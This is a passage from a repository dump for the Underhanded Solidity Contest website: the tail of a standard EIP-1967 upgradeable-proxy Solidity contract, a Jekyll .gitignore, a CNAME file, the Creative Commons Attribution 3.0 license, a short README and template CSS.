* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "UpgradeableProxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
================================================
FILE: 2022/.gitignore
================================================
.git
### Jekyll ###
_site/
.sass-cache/
.jekyll-cache/
.jekyll-metadata
# Ignore folders generated by Bundler
.bundle/
vendor/
================================================
FILE: 2022/CNAME
================================================
underhanded.soliditylang.org
================================================
FILE: 2022/LICENSE.txt
================================================
Creative Commons Attribution 3.0 Unported
http://creativecommons.org/licenses/by/3.0/
License
THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED.
BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. TO THE EXTENT THIS LICENSE MAY BE CONSIDERED TO BE A CONTRACT, THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
1. Definitions
1. "Adaptation" means a work based upon the Work, or upon the Work and other pre-existing works, such as a translation, adaptation, derivative work, arrangement of music or other alterations of a literary or artistic work, or phonogram or performance and includes cinematographic adaptations or any other form in which the Work may be recast, transformed, or adapted including in any form recognizably derived from the original, except that a work that constitutes a Collection will not be considered an Adaptation for the purpose of this License. For the avoidance of doubt, where the Work is a musical work, performance or phonogram, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered an Adaptation for the purpose of this License.
2. "Collection" means a collection of literary or artistic works, such as encyclopedias and anthologies, or performances, phonograms or broadcasts, or other works or subject matter other than works listed in Section 1(f) below, which, by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. A work that constitutes a Collection will not be considered an Adaptation (as defined above) for the purposes of this License.
3. "Distribute" means to make available to the public the original and copies of the Work or Adaptation, as appropriate, through sale or other transfer of ownership.
4. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License.
5. "Original Author" means, in the case of a literary or artistic work, the individual, individuals, entity or entities who created the Work or if no individual or entity can be identified, the publisher; and in addition (i) in the case of a performance the actors, singers, musicians, dancers, and other persons who act, sing, deliver, declaim, play in, interpret or otherwise perform literary or artistic works or expressions of folklore; (ii) in the case of a phonogram the producer being the person or legal entity who first fixes the sounds of a performance or other sounds; and, (iii) in the case of broadcasts, the organization that transmits the broadcast.
6. "Work" means the literary and/or artistic work offered under the terms of this License including without limitation any production in the literary, scientific and artistic domain, whatever may be the mode or form of its expression including digital form, such as a book, pamphlet and other writing; a lecture, address, sermon or other work of the same nature; a dramatic or dramatico-musical work; a choreographic work or entertainment in dumb show; a musical composition with or without words; a cinematographic work to which are assimilated works expressed by a process analogous to cinematography; a work of drawing, painting, architecture, sculpture, engraving or lithography; a photographic work to which are assimilated works expressed by a process analogous to photography; a work of applied art; an illustration, map, plan, sketch or three-dimensional work relative to geography, topography, architecture or science; a performance; a broadcast; a phonogram; a compilation of data to the extent it is protected as a copyrightable work; or a work performed by a variety or circus performer to the extent it is not otherwise considered a literary or artistic work.
7. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation.
8. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
9. "Reproduce" means to make copies of the Work by any means including without limitation by sound or visual recordings and the right of fixation and reproducing fixations of the Work, including storage of a protected performance or phonogram in digital form or other electronic medium.
2. Fair Dealing Rights. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright or rights arising from limitations or exceptions that are provided for in connection with the copyright protection under copyright law or other applicable laws.
3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below:
1. to Reproduce the Work, to incorporate the Work into one or more Collections, and to Reproduce the Work as incorporated in the Collections;
2. to create and Reproduce Adaptations provided that any such Adaptation, including any translation in any medium, takes reasonable steps to clearly label, demarcate or otherwise identify that changes were made to the original Work. For example, a translation could be marked "The original work was translated from English to Spanish," or a modification could indicate "The original work has been modified.";
3. to Distribute and Publicly Perform the Work including as incorporated in Collections; and,
4. to Distribute and Publicly Perform Adaptations.
5.
For the avoidance of doubt:
1. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
2. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor waives the exclusive right to collect such royalties for any exercise by You of the rights granted under this License; and,
3. Voluntary License Schemes. The Licensor waives the right to collect royalties, whether individually or, in the event that the Licensor is a member of a collecting society that administers voluntary licensing schemes, via that society, from any exercise by You of the rights granted under this License.
The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. Subject to Section 8(f), all rights not expressly granted by Licensor are hereby reserved.
4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
1. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from any Licensor You must, to the extent practicable, remove from the Collection any credit as required by Section 4(b), as requested. If You create an Adaptation, upon notice from any Licensor You must, to the extent practicable, remove from the Adaptation any credit as required by Section 4(b), as requested.
2. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or if the Original Author and/or Licensor designate another party or parties (e.g., a sponsor institute, publishing entity, journal) for attribution ("Attribution Parties") in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and (iv) , consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). The credit required by this Section 4 (b) may be implemented in any reasonable manner; provided, however, that in the case of a Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributing authors of the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributing authors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Original Author, Licensor and/or Attribution Parties, as appropriate, of You or Your use of the Work, without the separate, express prior written permission of the Original Author, Licensor and/or Attribution Parties.
3. Except as otherwise agreed in writing by the Licensor or as may be otherwise permitted by applicable law, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the Original Author's honor or reputation. Licensor agrees that in those jurisdictions (e.g. Japan), in which any exercise of the right granted in Section 3(b) of this License (the right to make Adaptations) would be deemed to be a distortion, mutilation, modification or other derogatory action prejudicial to the Original Author's honor and reputation, the Licensor will waive or not assert, as appropriate, this Section, to the fullest extent permitted by the applicable national law, to enable You to reasonably exercise Your right under Section 3(b) of this License (right to make Adaptations) but not otherwise.
5. Representations, Warranties and Disclaimer
UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU.
6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
7. Termination
1. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License.
2. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above.
8. Miscellaneous
1. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
2. Each time You Distribute or Publicly Perform an Adaptation, Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
3. If any provision of this License is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action by the parties to this agreement, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
4. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the party to be charged with such waiver or consent.
5. This License constitutes the entire agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
6. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). These rights and subject matter take effect in the relevant jurisdiction in which the License terms are sought to be enforced according to the corresponding provisions of the implementation of those treaty provisions in the applicable national law. If the standard suite of rights granted under applicable copyright law includes additional rights not granted under this License, such additional rights are deemed to be included in the License; this License is not intended to restrict the license of any rights under applicable law.
================================================
FILE: 2022/README.md
================================================
# solidity-underhanded-contest
Website and resources for the Underhanded Solidity Contest.
================================================
FILE: 2022/assets/css/main.css
================================================
@import url(fontawesome-all.min.css);
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
html, body, div, span, applet, object,
iframe, h1, h2, h3, h4, h5, h6, p, blockquote,
pre, a, abbr, acronym, address, big, cite,
code, del, dfn, em, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var, b,
u, i, center, dl, dt, dd, ol, ul, li, fieldset,
form, label, legend, table, caption, tbody,
tfoot, thead, tr, th, td, article, aside,
canvas, details, embed, figure, figcaption,
footer, header, hgroup, menu, nav, output, ruby,
section, summary, time, mark, audio, video {
margin: 0;
padding: 0;
border: 0;
font-size: 100%;
font: inherit;
vertical-align: baseline;}
article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {
display: block;}
body {
line-height: 1;
}
ol, ul {
list-style: none;
}
blockquote, q {
quotes: none;
}
blockquote:before, blockquote:after, q:before, q:after {
content: '';
content: none;
}
table {
border-collapse: collapse;
border-spacing: 0;
}
body {
-webkit-text-size-adjust: none;
}
mark {
background-color: transparent;
color: inherit;
}
input::-moz-focus-inner {
border: 0;
padding: 0;
}
input, select, textarea {
-moz-appearance: none;
-webkit-appearance: none;
-ms-appearance: none;
appearance: none;
}
/* Basic */
@-ms-viewport {
width: device-width;
}
body {
-ms-overflow-style: scrollbar;
}
@media screen and (max-width: 480px) {
html, body {
min-width: 320px;
}
}
html {
box-sizing: border-box;
}
*, *:before, *:after {
box-sizing: inherit;
}
body {
background: #111111;
}
body.is-preload *, body.is-preload *:before, body.is-preload *:after {
-moz-animation: none !important;
-webkit-animation: none !important;
-ms-animation: none !important;
animation: none !important;
-moz-transition: none !important;
-webkit-transition: none !important;
-ms-transition: none !important;
transition: none !important;
}
/* Type */
body, input, select, textarea {
color:#111111;
font-family: 'Fira Code', monospace;
font-size: 16.5pt;
font-weight: normal;
line-height: 1.75;
}
@media screen and (max-width: 1680px) {
body, input, select, textarea {
font-size: 13pt;
}
}
@media screen and (max-width: 1280px) {
body, input, select, textarea {
font-size: 12pt;
}
}
@media screen and (max-width: 360px) {
body, input, select, textarea {
font-size: 11pt;
}
}
a {
-moz-transition: color 0.2s ease, border-bottom-color 0.2s ease;
-webkit-transition: color 0.2s ease, border-bottom-color 0.2s ease;
-ms-transition: color 0.2s ease, border-bottom-color 0.2s ease;
transition: color 0.2s ease, border-bottom-color 0.2s ease;
border-bottom: dotted 1px rgba(255, 255, 255, 0.35);
color: inherit;
text-decoration: none;
}
a:hover {
border-bottom-color: transparent;
color: #7575FF;
}
strong, b {
color: #ffffff;
font-weight: bold;
}
em, i {
font-style: italic;
}
p {
margin: 0 0 2em 0;
}
h1 {
color: #ffffff;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h2 {
color: #111111;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h3 {
color: #e5e5e5;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h4, h5, h6 {
color: #111111;
font-weight: bold;
line-height: 1.5;
margin: 0 0 0.5em 0;
}
h1 a, h2 a, h3 a, h4 a, h5 a, h6 a {
color: inherit;
text-decoration: none;
}
h1 {
font-size: 2.75em;
}
h1.major {
margin: 0 0 1.3em 0;
position: relative;
padding-bottom: 0.35em;
}
h1.major:after {
background-image: -moz-linear-gradient(to right, #5e42a6, #b74e91);
background-image: -webkit-linear-gradient(to right, #5e42a6, #b74e91);
background-image: -ms-linear-gradient(to right, #5e42a6, #b74e91);
background-image: linear-gradient(to right, #5e42a6, #b74e91);
-moz-transition: max-width 0.2s ease;
-webkit-transition: max-width 0.2s ease;
-ms-transition: max-width 0.2s ease;
transition: max-width 0.2s ease;
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.05em;
position: absolute;
right: 0;
width: 100%;
}
h2 {
font-size: 1.75em;
}
h3 {
font-size: 1.1em;
}
h4 {
font-size: 1.1em;
}
h5 {
font-size: 0.8em;
}
h6 {
font-size: 0.6em;
}
@media screen and (max-width: 736px) {
h1 {
font-size: 2em;
}
h2 {
font-size: 1.25em;
}
h3 {
font-size: 1em;
}
h4 {
font-size: 0.8em;
}
h5 {
font-size: 0.6em;
}
h6 {
font-size: 0.6em;
}
}
sub {
font-size: 0.8em;
position: relative;
top: 0.5em;
}
sup {
font-size: 0.8em;
position: relative;
top: -0.5em;
}
blockquote {
border-left: solid 4px rgba(255, 255, 255, 0.15);
font-style: italic;
margin: 0 0 2em 0;
padding: 0.5em 0 0.5em 2em;
}
code {
color: #111111;
background: #0000;
border-radius: 0.3em;
border: solid 0.5px #111111;
font-family: "Courier New", monospace;
font-size: 0.9em;
margin: 0 0.25em;
padding: 0.25em 0.65em;
}
pre {
-webkit-overflow-scrolling: touch;
font-family: "Courier New", monospace;
font-size: 0.9em;
margin: 0 0 2em 0;
}
pre code {
display: block;
line-height: 1.75em;
padding: 1em 1.5em;
overflow-x: auto;
}
hr {
border: 0;
border-bottom: solid 1px rgba(255, 255, 255, 0.15);
margin: 2em 0;
}
hr.major {
margin: 3em 0;
}
.align-left {
text-align: left;
}
.align-center {
text-align: center;
}
.align-right {
text-align: right;
}
/* Row */
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp {
order: -1;
}
.row > .col-1 {
width: 8.33333%;
}
.row > .off-1 {
margin-left: 8.33333%;
}
.row > .col-2 {
width: 16.66667%;
}
.row > .off-2 {
margin-left: 16.66667%;
}
.row > .col-3 {
width: 25%;
}
.row > .off-3 {
margin-left: 25%;
}
.row > .col-4 {
width: 33.33333%;
}
.row > .off-4 {
margin-left: 33.33333%;
}
.row > .col-5 {
width: 41.66667%;
}
.row > .off-5 {
margin-left: 41.66667%;
}
.row > .col-6 {
width: 50%;
}
.row > .off-6 {
margin-left: 50%;
}
.row > .col-7 {
width: 58.33333%;
}
.row > .off-7 {
margin-left: 58.33333%;
}
.row > .col-8 {
width: 66.66667%;
}
.row > .off-8 {
margin-left: 66.66667%;
}
.row > .col-9 {
width: 75%;
}
.row > .off-9 {
margin-left: 75%;
}
.row > .col-10 {
width: 83.33333%;
}
.row > .off-10 {
margin-left: 83.33333%;
}
.row > .col-11 {
width: 91.66667%;
}
.row > .off-11 {
margin-left: 91.66667%;
}
.row > .col-12 {
width: 100%;
}
.row > .off-12 {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
@media screen and (max-width: 1680px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-xlarge {
order: -1;
}
.row > .col-1-xlarge {
width: 8.33333%;
}
.row > .off-1-xlarge {
margin-left: 8.33333%;
}
.row > .col-2-xlarge {
width: 16.66667%;
}
.row > .off-2-xlarge {
margin-left: 16.66667%;
}
.row > .col-3-xlarge {
width: 25%;
}
.row > .off-3-xlarge {
margin-left: 25%;
}
.row > .col-4-xlarge {
width: 33.33333%;
}
.row > .off-4-xlarge {
margin-left: 33.33333%;
}
.row > .col-5-xlarge {
width: 41.66667%;
}
.row > .off-5-xlarge {
margin-left: 41.66667%;
}
.row > .col-6-xlarge {
width: 50%;
}
.row > .off-6-xlarge {
margin-left: 50%;
}
.row > .col-7-xlarge {
width: 58.33333%;
}
.row > .off-7-xlarge {
margin-left: 58.33333%;
}
.row > .col-8-xlarge {
width: 66.66667%;
}
.row > .off-8-xlarge {
margin-left: 66.66667%;
}
.row > .col-9-xlarge {
width: 75%;
}
.row > .off-9-xlarge {
margin-left: 75%;
}
.row > .col-10-xlarge {
width: 83.33333%;
}
.row > .off-10-xlarge {
margin-left: 83.33333%;
}
.row > .col-11-xlarge {
width: 91.66667%;
}
.row > .off-11-xlarge {
margin-left: 91.66667%;
}
.row > .col-12-xlarge {
width: 100%;
}
.row > .off-12-xlarge {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 1280px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-large {
order: -1;
}
.row > .col-1-large {
width: 8.33333%;
}
.row > .off-1-large {
margin-left: 8.33333%;
}
.row > .col-2-large {
width: 16.66667%;
}
.row > .off-2-large {
margin-left: 16.66667%;
}
.row > .col-3-large {
width: 25%;
}
.row > .off-3-large {
margin-left: 25%;
}
.row > .col-4-large {
width: 33.33333%;
}
.row > .off-4-large {
margin-left: 33.33333%;
}
.row > .col-5-large {
width: 41.66667%;
}
.row > .off-5-large {
margin-left: 41.66667%;
}
.row > .col-6-large {
width: 50%;
}
.row > .off-6-large {
margin-left: 50%;
}
.row > .col-7-large {
width: 58.33333%;
}
.row > .off-7-large {
margin-left: 58.33333%;
}
.row > .col-8-large {
width: 66.66667%;
}
.row > .off-8-large {
margin-left: 66.66667%;
}
.row > .col-9-large {
width: 75%;
}
.row > .off-9-large {
margin-left: 75%;
}
.row > .col-10-large {
width: 83.33333%;
}
.row > .off-10-large {
margin-left: 83.33333%;
}
.row > .col-11-large {
width: 91.66667%;
}
.row > .off-11-large {
margin-left: 91.66667%;
}
.row > .col-12-large {
width: 100%;
}
.row > .off-12-large {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
.row.gtr-uniform {
margin-top: -1.5em;
}
.row.gtr-uniform > * {
padding-top: 1.5em;
}
.row.gtr-150 {
margin-top: 0;
margin-left: -2.25em;
}
.row.gtr-150 > * {
padding: 0 0 0 2.25em;
}
.row.gtr-150.gtr-uniform {
margin-top: -2.25em;
}
.row.gtr-150.gtr-uniform > * {
padding-top: 2.25em;
}
.row.gtr-200 {
margin-top: 0;
margin-left: -3em;
}
.row.gtr-200 > * {
padding: 0 0 0 3em;
}
.row.gtr-200.gtr-uniform {
margin-top: -3em;
}
.row.gtr-200.gtr-uniform > * {
padding-top: 3em;
}
}
@media screen and (max-width: 980px) {
.row {
display: flex;
flex-wrap: wrap;
box-sizing: border-box;
align-items: stretch;
}
.row > * {
box-sizing: border-box;
}
.row.gtr-uniform > * > :last-child {
margin-bottom: 0;
}
.row.aln-left {
justify-content: flex-start;
}
.row.aln-center {
justify-content: center;
}
.row.aln-right {
justify-content: flex-end;
}
.row.aln-top {
align-items: flex-start;
}
.row.aln-middle {
align-items: center;
}
.row.aln-bottom {
align-items: flex-end;
}
.row > .imp-medium {
order: -1;
}
.row > .col-1-medium {
width: 8.33333%;
}
.row > .off-1-medium {
margin-left: 8.33333%;
}
.row > .col-2-medium {
width: 16.66667%;
}
.row > .off-2-medium {
margin-left: 16.66667%;
}
.row > .col-3-medium {
width: 25%;
}
.row > .off-3-medium {
margin-left: 25%;
}
.row > .col-4-medium {
width: 33.33333%;
}
.row > .off-4-medium {
margin-left: 33.33333%;
}
.row > .col-5-medium {
width: 41.66667%;
}
.row > .off-5-medium {
margin-left: 41.66667%;
}
.row > .col-6-medium {
width: 50%;
}
.row > .off-6-medium {
margin-left: 50%;
}
.row > .col-7-medium {
width: 58.33333%;
}
.row > .off-7-medium {
margin-left: 58.33333%;
}
.row > .col-8-medium {
width: 66.66667%;
}
.row > .off-8-medium {
margin-left: 66.66667%;
}
.row > .col-9-medium {
width: 75%;
}
.row > .off-9-medium {
margin-left: 75%;
}
.row > .col-10-medium {
width: 83.33333%;
}
.row > .off-10-medium {
margin-left: 83.33333%;
}
.row > .col-11-medium {
width: 91.66667%;
}
.row > .off-11-medium {
margin-left: 91.66667%;
}
.row > .col-12-medium {
width: 100%;
}
.row > .off-12-medium {
margin-left: 100%;
}
.row.gtr-0 {
margin-top: 0;
margin-left: 0em;
}
.row.gtr-0 > * {
padding: 0 0 0 0em;
}
.row.gtr-0.gtr-uniform {
margin-top: 0em;
}
.row.gtr-0.gtr-uniform > * {
padding-top: 0em;
}
.row.gtr-25 {
margin-top: 0;
margin-left: -0.375em;
}
.row.gtr-25 > * {
padding: 0 0 0 0.375em;
}
.row.gtr-25.gtr-uniform {
margin-top: -0.375em;
}
.row.gtr-25.gtr-uniform > * {
padding-top: 0.375em;
}
.row.gtr-50 {
margin-top: 0;
margin-left: -0.75em;
}
.row.gtr-50 > * {
padding: 0 0 0 0.75em;
}
.row.gtr-50.gtr-uniform {
margin-top: -0.75em;
}
.row.gtr-50.gtr-uniform > * {
padding-top: 0.75em;
}
.row {
margin-top: 0;
margin-left: -1.5em;
}
.row > * {
padding: 0 0 0 1.5em;
}
